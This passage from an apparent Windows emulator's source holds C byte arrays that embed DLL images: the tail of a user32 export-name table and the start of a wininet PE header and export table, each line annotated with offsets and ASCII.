7E41C5C0 */   \"\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\\x6B\\x41\\x00\\x53\"   //etWindowsHookA.S\n/* 7E41C5E0 */   \"\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\\x6B\\x45\\x78\\x41\"   //etWindowsHookExA\n/* 7E41C600 */   \"\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\\x6B\\x45\"   //.SetWindowsHookE\n/* 7E41C620 */   \"\\x78\\x57\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\"   //xW.SetWindowsHoo\n/* 7E41C640 */   \"\\x6B\\x57\\x00\\x53\\x68\\x6F\\x77\\x43\\x61\\x72\\x65\\x74\\x00\\x53\\x68\\x6F\"   //kW.ShowCaret.Sho\n/* 7E41C660 */   \"\\x77\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x53\\x68\\x6F\\x77\\x4F\\x77\\x6E\\x65\"   //wCursor.ShowOwne\n/* 7E41C680 */   \"\\x64\\x50\\x6F\\x70\\x75\\x70\\x73\\x00\\x53\\x68\\x6F\\x77\\x53\\x63\\x72\\x6F\"   //dPopups.ShowScro\n/* 7E41C6A0 */   \"\\x6C\\x6C\\x42\\x61\\x72\\x00\\x53\\x68\\x6F\\x77\\x53\\x74\\x61\\x72\\x74\\x47\"   //llBar.ShowStartG\n/* 7E41C6C0 */   \"\\x6C\\x61\\x73\\x73\\x00\\x53\\x68\\x6F\\x77\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\"   //lass.ShowWindow.\n/* 7E41C6E0 */   \"\\x53\\x68\\x6F\\x77\\x57\\x69\\x6E\\x64\\x6F\\x77\\x41\\x73\\x79\\x6E\\x63\\x00\"   //ShowWindowAsync.\n/* 7E41C700 */   \"\\x53\\x6F\\x66\\x74\\x4D\\x6F\\x64\\x61\\x6C\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\"   //SoftModalMessage\n/* 7E41C720 */   \"\\x42\\x6F\\x78\\x00\\x53\\x75\\x62\\x74\\x72\\x61\\x63\\x74\\x52\\x65\\x63\\x74\"   //Box.SubtractRect\n/* 7E41C740 */   \"\\x00\\x53\\x77\\x61\\x70\\x4D\\x6F\\x75\\x73\\x65\\x42\\x75\\x74\\x74\\x6F\\x6E\"   //.SwapMouseButton\n/* 7E41C760 */   \"\\x00\\x53\\x77\\x69\\x74\\x63\\x68\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x00\\x53\"   //.SwitchDesktop.S\n/* 7E41C780 */   \"\\x77\\x69\\x74\\x63\\x68\\x54\\x6F\\x54\\x68\\x69\\x73\\x57\\x69\\x6E\\x64\\x6F\"   //witchToThisWindo\n/* 7E41C7A0 */   \"\\x77\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\\x65\"   //w.SystemParamete\n/* 7E41C7C0 */   \"\\x72\\x73\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x61\"   //rsInfoA.SystemPa\n/* 7E41C7E0 */   \"\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\\x73\\x49\\x6E\\x66\\x6F\\x57\\x00\\x54\\x61\"   //rametersInfoW.Ta\n/* 7E41C800 */   \"\\x62\\x62\\x65\\x64\\x54\\x65\\x78\\x74\\x4F\\x75\\x74\\x41\\x00\\x54\\x61\\x62\"   //bbedTextOutA.Tab\n/* 7E41C820 */   \"\\x62\\x65\\x64\\x54\\x65\\x78\\x74\\x4F\\x75\\x74\\x57\\x00\\x54\\x69\\x6C\\x65\"   //bedTextOutW.Tile\n/* 7E41C840 */   \"\\x43\\x68\\x69\\x6C\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x54\\x69\\x6C\"   //ChildWindows.Til\n/* 7E41C860 */   \"\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x54\\x6F\\x41\\x73\\x63\\x69\\x69\"   //eWindows.ToAscii\n/* 7E41C880 */   \"\\x00\\x54\\x6F\\x41\\x73\\x63\\x69\\x69\\x45\\x78\\x00\\x54\\x6F\\x55\\x6E\\x69\"   //.ToAsciiEx.ToUni\n/* 7E41C8A0 */   \"\\x63\\x6F\\x64\\x65\\x00\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x45\\x78\"   //code.ToUnicodeEx\n/* 7E41C8C0 */   \"\\x00\\x54\\x72\\x61\\x63\\x6B\\x4D\\x6F\\x75\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\"   //.TrackMouseEvent\n/* 7E41C8E0 */   \"\\x00\\x54\\x72\\x61\\x63\\x6B\\x50\\x6F\\x70\\x75\\x70\\x4D\\x65\\x6E\\x75\\x00\"   //.TrackPopupMenu.\n/* 7E41C900 */   \"\\x54\\x72\\x61\\x63\\x6B\\x50\\x6F\\x70\\x75\\x70\\x4D\\x65\\x6E\\x75\\x45\\x78\"   //TrackPopupMenuEx\n/* 7E41C920 */   \"\\x00\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\\x41\\x63\\x63\\x65\\x6C\\x65\"   //.TranslateAccele\n/* 7E41C940 */   \"\\x72\\x61\\x74\\x6F\\x72\\x00\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\\x41\"   //rator.TranslateA\n/* 7E41C960 */   \"\\x63\\x63\\x65\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x41\\x00\\x54\\x72\\x61\\x6E\"   //cceleratorA.Tran\n/* 7E41C980 */   \"\\x73\\x6C\\x61\\x74\\x65\\x41\\x63\\x63\\x65\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\"   //slateAccelerator\n/* 7E41C9A0 */   \"\\x57\\x00\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\\x4D\\x44\\x49\\x53\\x79\"   //W.TranslateMDISy\n/* 7E41C9C0 */   \"\\x73\\x41\\x63\\x63\\x65\\x6C\\x00\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\"   //sAccel.Translate\n/* 7E41C9E0 */   \"\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\"   //Message.Translat\n/* 7E41CA00 */   \"\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x00\\x55\\x6E\\x68\\x6F\\x6F\"   //eMessageEx.Unhoo\n/* 7E41CA20 */   \"\\x6B\\x57\\x69\\x6E\\x45\\x76\\x65\\x6E\\x74\\x00\\x55\\x6E\\x68\\x6F\\x6F\\x6B\"   //kWinEvent.Unhook\n/* 7E41CA40 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\\x6B\\x00\\x55\\x6E\\x68\\x6F\"   //WindowsHook.Unho\n/* 7E41CA60 */   \"\\x6F\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x48\\x6F\\x6F\\x6B\\x45\\x78\\x00\"   //okWindowsHookEx.\n/* 7E41CA80 */   \"\\x55\\x6E\\x69\\x6F\\x6E\\x52\\x65\\x63\\x74\\x00\\x55\\x6E\\x6C\\x6F\\x61\\x64\"   //UnionRect.Unload\n/* 7E41CAA0 */   \"\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\\x74\\x00\\x55\"   //KeyboardLayout.U\n/* 7E41CAC0 */   \"\\x6E\\x6C\\x6F\\x63\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\"   //nlockWindowStati\n/* 7E41CAE0 */   \"\\x6F\\x6E\\x00\\x55\\x6E\\x70\\x61\\x63\\x6B\\x44\\x44\\x45\\x6C\\x50\\x61\\x72\"   //on.UnpackDDElPar\n/* 7E41CB00 */   \"\\x61\\x6D\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x61\"   //am.UnregisterCla\n/* 7E41CB20 */   \"\\x73\\x73\\x41\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\"   //ssA.UnregisterCl\n/* 7E41CB40 */   \"\\x61\\x73\\x73\\x57\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x44\"   //assW.UnregisterD\n/* 7E41CB60 */   \"\\x65\\x76\\x69\\x63\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\"   //eviceNotificatio\n/* 7E41CB80 */   \"\\x6E\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x48\\x6F\\x74\\x4B\"   //n.UnregisterHotK\n/* 7E41CBA0 */   \"\\x65\\x79\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x4D\\x65\\x73\"   //ey.UnregisterMes\n/* 7E41CBC0 */   \"\\x73\\x61\\x67\\x65\\x50\\x75\\x6D\\x70\\x48\\x6F\\x6F\\x6B\\x00\\x55\\x6E\\x72\"   //sagePumpHook.Unr\n/* 7E41CBE0 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x55\\x73\\x65\\x72\\x41\\x70\\x69\\x48\\x6F\"   //egisterUserApiHo\n/* 7E41CC00 */   \"\\x6F\\x6B\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x4C\\x61\\x79\\x65\\x72\\x65\\x64\"   //ok.UpdateLayered\n/* 7E41CC20 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x50\\x65\\x72\"   //Window.UpdatePer\n/* 7E41CC40 */   \"\\x55\\x73\\x65\\x72\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x61\\x72\\x61\\x6D\\x65\"   //UserSystemParame\n/* 7E41CC60 */   \"\\x74\\x65\\x72\\x73\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x57\\x69\\x6E\\x64\\x6F\"   //ters.UpdateWindo\n/* 7E41CC80 */   \"\\x77\\x00\\x55\\x73\\x65\\x72\\x33\\x32\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\"   //w.User32Initiali\n/* 7E41CCA0 */   \"\\x7A\\x65\\x49\\x6D\\x6D\\x45\\x6E\\x74\\x72\\x79\\x54\\x61\\x62\\x6C\\x65\\x00\"   //zeImmEntryTable.\n/* 7E41CCC0 */   \"\\x55\\x73\\x65\\x72\\x43\\x6C\\x69\\x65\\x6E\\x74\\x44\\x6C\\x6C\\x49\\x6E\\x69\"   //UserClientDllIni\n/* 7E41CCE0 */   \"\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x00\\x55\\x73\\x65\\x72\\x48\\x61\\x6E\\x64\"   //tialize.UserHand\n/* 7E41CD00 */   \"\\x6C\\x65\\x47\\x72\\x61\\x6E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x00\\x55\\x73\"   //leGrantAccess.Us\n/* 7E41CD20 */   \"\\x65\\x72\\x4C\\x70\\x6B\\x50\\x53\\x4D\\x54\\x65\\x78\\x74\\x4F\\x75\\x74\\x00\"   //erLpkPSMTextOut.\n/* 7E41CD40 */   \"\\x55\\x73\\x65\\x72\\x4C\\x70\\x6B\\x54\\x61\\x62\\x62\\x65\\x64\\x54\\x65\\x78\"   //UserLpkTabbedTex\n/* 7E41CD60 */   \"\\x74\\x4F\\x75\\x74\\x00\\x55\\x73\\x65\\x72\\x52\\x65\\x61\\x6C\\x69\\x7A\\x65\"   //tOut.UserRealize\n/* 7E41CD80 */   \"\\x50\\x61\\x6C\\x65\\x74\\x74\\x65\\x00\\x55\\x73\\x65\\x72\\x52\\x65\\x67\\x69\"   //Palette.UserRegi\n/* 7E41CDA0 */   \"\\x73\\x74\\x65\\x72\\x57\\x6F\\x77\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x73\\x00\"   //sterWowHandlers.\n/* 7E41CDC0 */   \"\\x56\\x52\\x69\\x70\\x4F\\x75\\x74\\x70\\x75\\x74\\x00\\x56\\x54\\x61\\x67\\x4F\"   //VRipOutput.VTagO\n/* 7E41CDE0 */   \"\\x75\\x74\\x70\\x75\\x74\\x00\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x52\\x65\"   //utput.ValidateRe\n/* 7E41CE00 */   \"\\x63\\x74\\x00\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x52\\x67\\x6E\\x00\\x56\"   //ct.ValidateRgn.V\n/* 7E41CE20 */   \"\\x6B\\x4B\\x65\\x79\\x53\\x63\\x61\\x6E\\x41\\x00\\x56\\x6B\\x4B\\x65\\x79\\x53\"   //kKeyScanA.VkKeyS\n/* 7E41CE40 */   \"\\x63\\x61\\x6E\\x45\\x78\\x41\\x00\\x56\\x6B\\x4B\\x65\\x79\\x53\\x63\\x61\\x6E\"   //canExA.VkKeyScan\n/* 7E41CE60 */   \"\\x45\\x78\\x57\\x00\\x56\\x6B\\x4B\\x65\\x79\\x53\\x63\\x61\\x6E\\x57\\x00\\x57\"   //ExW.VkKeyScanW.W\n/* 7E41CE80 */   \"\\x43\\x53\\x54\\x6F\\x4D\\x42\\x45\\x78\\x00\\x57\\x49\\x4E\\x4E\\x4C\\x53\\x45\"   //CSToMBEx.WINNLSE\n/* 7E41CEA0 */   \"\\x6E\\x61\\x62\\x6C\\x65\\x49\\x4D\\x45\\x00\\x57\\x49\\x4E\\x4E\\x4C\\x53\\x47\"   //nableIME.WINNLSG\n/* 7E41CEC0 */   \"\\x65\\x74\\x45\\x6E\\x61\\x62\\x6C\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x57\"   //etEnableStatus.W\n/* 7E41CEE0 */   \"\\x49\\x4E\\x4E\\x4C\\x53\\x47\\x65\\x74\\x49\\x4D\\x45\\x48\\x6F\\x74\\x6B\\x65\"   //INNLSGetIMEHotke\n/* 7E41CF00 */   \"\\x79\\x00\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x49\\x6E\\x70\\x75\\x74\\x49\\x64\"   //y.WaitForInputId\n/* 7E41CF20 */   \"\\x6C\\x65\\x00\\x57\\x61\\x69\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x57\"   //le.WaitMessage.W\n/* 7E41CF40 */   \"\\x69\\x6E\\x33\\x32\\x50\\x6F\\x6F\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x69\"   //in32PoolAllocati\n/* 7E41CF60 */   \"\\x6F\\x6E\\x53\\x74\\x61\\x74\\x73\\x00\\x57\\x69\\x6E\\x48\\x65\\x6C\\x70\\x41\"   //onStats.WinHelpA\n/* 7E41CF80 */   \"\\x00\\x57\\x69\\x6E\\x48\\x65\\x6C\\x70\\x57\\x00\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //.WinHelpW.Window\n/* 7E41CFA0 */   \"\\x46\\x72\\x6F\\x6D\\x44\\x43\\x00\\x57\\x69\\x6E\\x64\\x6F\\x77\\x46\\x72\\x6F\"   //FromDC.WindowFro\n/* 7E41CFC0 */   \"\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x00\\x6B\\x65\\x79\\x62\\x64\\x5F\\x65\\x76\\x65\"   //mPoint.keybd_eve\n/* 7E41CFE0 */   \"\\x6E\\x74\\x00\\x6D\\x6F\\x75\\x73\\x65\\x5F\\x65\\x76\\x65\\x6E\\x74\\x00\\x77\"   //nt.mouse_event.w\n/* 7E41D000 */   \"\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x41\\x00\\x77\\x73\\x70\\x72\\x69\\x6E\\x74\"   //sprintfA.wsprint\n/* 7E41D020 */   \"\\x66\\x57\\x00\\x77\\x76\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x41\\x00\\x77\\x76\"   //fW.wvsprintfA.wv\n/* 7E41D040 */   \"\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x57\\x00\\x90\\x90\\x90\\x90\\x90\\xB8\\x43\"   //sprintfW.......C\n/* 7E41D060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\";   //................\n\n"
  },
  {
    "path": "src/environment/win32/dlls/wininetdll.c",
    "content": "const char wininet_3D930000[] =\n/* 3D930000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 3D930020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 3D930040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D930060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF8\\x00\\x00\\x00\"   //............ø...\n/* 3D930080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 3D9300A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 3D9300C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 3D9300E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 3D930100 */   \"\\x55\\x97\\x12\\xBE\\x11\\xF6\\x7C\\xED\\x11\\xF6\\x7C\\xED\\x11\\xF6\\x7C\\xED\"   //U....ö|í.ö|í.ö|í\n/* 3D930120 */   \"\\x36\\x30\\x01\\xED\\x1D\\xF6\\x7C\\xED\\x11\\xF6\\x7D\\xED\\xD6\\xF7\\x7C\\xED\"   //60.í.ö|í.ö}íÖ÷|í\n/* 3D930140 */   \"\\x36\\x30\\x07\\xED\\x00\\xF6\\x7C\\xED\\x36\\x30\\x06\\xED\\x10\\xF6\\x7C\\xED\"   //60.í.ö|í60.í.ö|í\n/* 3D930160 */   \"\\x36\\x30\\x12\\xED\\x8F\\xF6\\x7C\\xED\\x36\\x30\\x11\\xED\\x4A\\xF6\\x7C\\xED\"   //60.í.ö|í60.íJö|í\n/* 3D930180 */   \"\\x36\\x30\\x02\\xED\\x10\\xF6\\x7C\\xED\\x36\\x30\\x00\\xED\\x10\\xF6\\x7C\\xED\"   //60.í.ö|í60.í.ö|í\n/* 3D9301A0 */   \"\\x36\\x30\\x04\\xED\\x10\\xF6\\x7C\\xED\\x52\\x69\\x63\\x68\\x11\\xF6\\x7C\\xED\"   //60.í.ö|íRich.ö|í\n/* 3D9301C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D9301E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\"   //........PE..L...\n/* 3D930200 */   \"\\x84\\xA2\\xD4\\x4C\\x5B\\x4C\\x6F\\x72\\x64\\x50\\x45\\x5D\\xE0\\x00\\x02\\x21\"   //..ÔL[LordPE]à..!\n/* 3D930220 */   \"\\x0B\\x01\\x08\\x00\\x00\\xD6\\x09\\x00\\x00\\x12\\x03\\x00\\x00\\x00\\x00\\x00\"   //.....Ö..........\n/* 3D930240 */   \"\\x84\\x17\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xD0\\x09\\x00\\x00\\x00\\x93\\x3D\"   //.........Ð.....=\n/* 3D930260 */   \"\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x06\\x00\\x00\\x00\\x06\\x00\\x00\\x00\"   //................\n/* 3D930280 */   \"\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x0D\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 3D9302A0 */   \"\\xB8\\x8A\\x0D\\x00\\x02\\x00\\x40\\x01\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\"   //......@.........\n/* 3D9302C0 */   \"\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\"   //................\n/* 3D9302E0 */   \"\\x44\\x18\\x00\\x00\\x4A\\x1D\\x00\\x00\\xC0\\xC6\\x09\\x00\\xB4\\x00\\x00\\x00\"   //D...J...ÀÆ......\n/* 3D930300 */   \"\\x00\\x60\\x0A\\x00\\x50\\x4D\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.`..PM..........\n/* 3D930320 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB0\\x0C\\x00\\x50\\x57\\x00\\x00\"   //............PW..\n/* 3D930340 */   \"\\x00\\xE4\\x09\\x00\\x38\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.ä..8...........\n/* 3D930360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D930380 */   \"\\x80\\x1E\\x06\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //....@...........\n/* 3D9303A0 */   \"\\x00\\x10\\x00\\x00\\xA8\\x05\\x00\\x00\\x44\\xC0\\x09\\x00\\x40\\x01\\x00\\x00\"   //........DÀ..@...\n/* 3D9303C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D9303E0 */   \"\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\x60\\xD4\\x09\\x00\\x00\\x10\\x00\\x00\"   //.text...`Ô......\n/* 3D930400 */   \"\\x60\\xD4\\x09\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //`Ô..............\n/* 3D930420 */   \"\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\"   //.......`.data...\n/* 3D930440 */   \"\\x90\\x6A\\x00\\x00\\x00\\xF0\\x09\\x00\\x90\\x6A\\x00\\x00\\x00\\xF0\\x09\\x00\"   //.j...ð...j...ð..\n/* 3D930460 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\"   //............@..À\n/* 3D930480 */   \"\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\\x50\\x4D\\x02\\x00\\x00\\x60\\x0A\\x00\"   //.rsrc...PM...`..\n/* 3D9304A0 */   \"\\x50\\x4D\\x02\\x00\\x00\\x60\\x0A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //PM...`..........\n/* 3D9304C0 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\"   //....@..@.reloc..\n/* 3D9304E0 */   \"\\x50\\x57\\x00\\x00\\x00\\xB0\\x0C\\x00\\x50\\x57\\x00\\x00\\x00\\xB0\\x0C\\x00\"   //PW......PW......\n/* 3D930500 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\"   //............@..B\n/* 3D930520 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D930540 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 3D930560 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\nconst char wininet_3d931844[] =\n/* 3D930000 */   \"\\x00\\x00\\x00\\x00\\xF3\\x5E\\xBB\\x4C\\x00\\x00\\x00\\x00\\xA6\\x21\\x00\\x00\"   //....ó^.L.....!..\n/* 3D930020 */   \"\\x65\\x00\\x00\\x00\\xF7\\x00\\x00\\x00\\xE5\\x00\\x00\\x00\\x6C\\x18\\x00\\x00\"   //e...÷...å...l...\n/* 3D930040 */   \"\\x48\\x1C\\x00\\x00\\xDC\\x1F\\x00\\x00\\x18\\x90\\x02\\x00\\x96\\x19\\x04\\x00\"   //H...Ü...........\n/* 3D930060 */   \"\\xB0\\x46\\x08\\x00\\x78\\xA5\\x07\\x00\\xCD\\xA8\\x07\\x00\\x78\\xB7\\x06\\x00\"   //.F..x...Í...x...\n/* 3D930080 */   \"\\xAA\\xE9\\x02\\x00\\x81\\x42\\x06\\x00\\x9F\\x4B\\x06\\x00\\x35\\x3E\\x06\\x00\"   //.é...B...K..5>..\n/* 3D9300A0 */   \"\\x82\\x47\\x06\\x00\\xE5\\xE3\\x08\\x00\\x94\\x6F\\x04\\x00\\xE6\\x81\\x06\\x00\"   //.G..åã...o..æ...\n/* 3D9300C0 */   \"\\x3E\\xFD\\x03\\x00\\x62\\x5D\\x03\\x00\\x77\\xB6\\x07\\x00\\x10\\xA1\\x07\\x00\"   //>ý..b]..w.......\n/* 3D9300E0 */   \"\\x0D\\x35\\x08\\x00\\x5D\\xD2\\x07\\x00\\x30\\xD7\\x07\\x00\\xBB\\xD1\\x07\\x00\"   //.5..]Ò..0×...Ñ..\n/* 3D930100 */   \"\\xA5\\xD1\\x07\\x00\\x23\\x40\\x03\\x00\\xFD\\x35\\x08\\x00\\x4A\\x37\\x08\\x00\"   //.Ñ..#@..ý5..J7..\n/* 3D930120 */   \"\\xB2\\x37\\x08\\x00\\xBD\\x37\\x08\\x00\\x0D\\x38\\x08\\x00\\x22\\x43\\x03\\x00\"   //.7...7...8..\"C..\n/* 3D930140 */   \"\\x22\\x43\\x03\\x00\\x69\\xFB\\x02\\x00\\x8E\\x38\\x08\\x00\\xBD\\xFA\\x00\\x00\"   //\"C..iû...8...ú..\n/* 3D930160 */   \"\\x68\\x4D\\x06\\x00\\x39\\x68\\x00\\x00\\xFD\\xEE\\x02\\x00\\x39\\xF8\\x03\\x00\"   //hM..9h..ýî..9ø..\n/* 3D930180 */   \"\\xA1\\x41\\x02\\x00\\xCB\\x41\\x02\\x00\\xEA\\x38\\x08\\x00\\xBF\\x44\\x08\\x00\"   //.A..ËA..ê8...D..\n/* 3D9301A0 */   \"\\x07\\x3A\\x08\\x00\\x81\\xEF\\x02\\x00\\x86\\x3A\\x08\\x00\\xF9\\x46\\x02\\x00\"   //.:...ï...:..ùF..\n/* 3D9301C0 */   \"\\x1A\\x47\\x02\\x00\\x76\\x3B\\x08\\x00\\xE9\\x44\\x08\\x00\\x14\\x3B\\x08\\x00\"   //.G..v;..éD...;..\n/* 3D9301E0 */   \"\\xA7\\x81\\x06\\x00\\x57\\x81\\x06\\x00\\x34\\x3C\\x08\\x00\\x88\\x3C\\x08\\x00\"   //....W...4<...<..\n/* 3D930200 */   \"\\x3A\\x22\\x07\\x00\\x4C\\x2C\\x07\\x00\\xCB\\x21\\x07\\x00\\x68\\x29\\x07\\x00\"   //:\"..L,..Ë!..h)..\n/* 3D930220 */   \"\\x2A\\x1E\\x07\\x00\\xBD\\x26\\x07\\x00\\xF9\\x22\\x07\\x00\\x8E\\x25\\x07\\x00\"   //*....&..ù\"...%..\n/* 3D930240 */   \"\\x1C\\x22\\x07\\x00\\x7D\\x2B\\x07\\x00\\xCC\\xFC\\x06\\x00\\xED\\x33\\x07\\x00\"   //.\"..}+..Ìü..í3..\n/* 3D930260 */   \"\\xC1\\x13\\x07\\x00\\x9F\\x33\\x07\\x00\\x20\\x23\\x07\\x00\\xAE\\x28\\x07\\x00\"   //Á....3...#...(..\n/* 3D930280 */   \"\\xCB\\xFD\\x06\\x00\\xAB\\x34\\x07\\x00\\xC9\\x33\\x07\\x00\\xE6\\x21\\x07\\x00\"   //Ëý...4..É3..æ!..\n/* 3D9302A0 */   \"\\x1B\\x2A\\x07\\x00\\x45\\x1E\\x07\\x00\\x70\\x27\\x07\\x00\\x01\\x22\\x07\\x00\"   //.*..E...p'...\"..\n/* 3D9302C0 */   \"\\xCC\\x2A\\x07\\x00\\x13\\x3D\\x08\\x00\\x70\\x3D\\x08\\x00\\x75\\x68\\x00\\x00\"   //Ì*...=..p=..uh..\n/* 3D9302E0 */   \"\\x4A\\xC3\\x02\\x00\\x1A\\x61\\x00\\x00\\xA9\\xDB\\x02\\x00\\x02\\x3E\\x08\\x00\"   //JÃ...a...Û...>..\n/* 3D930300 */   \"\\x7C\\x3E\\x08\\x00\\xF8\\x99\\x00\\x00\\x61\\x73\\x07\\x00\\x61\\x73\\x07\\x00\"   //|>..ø...as..as..\n/* 3D930320 */   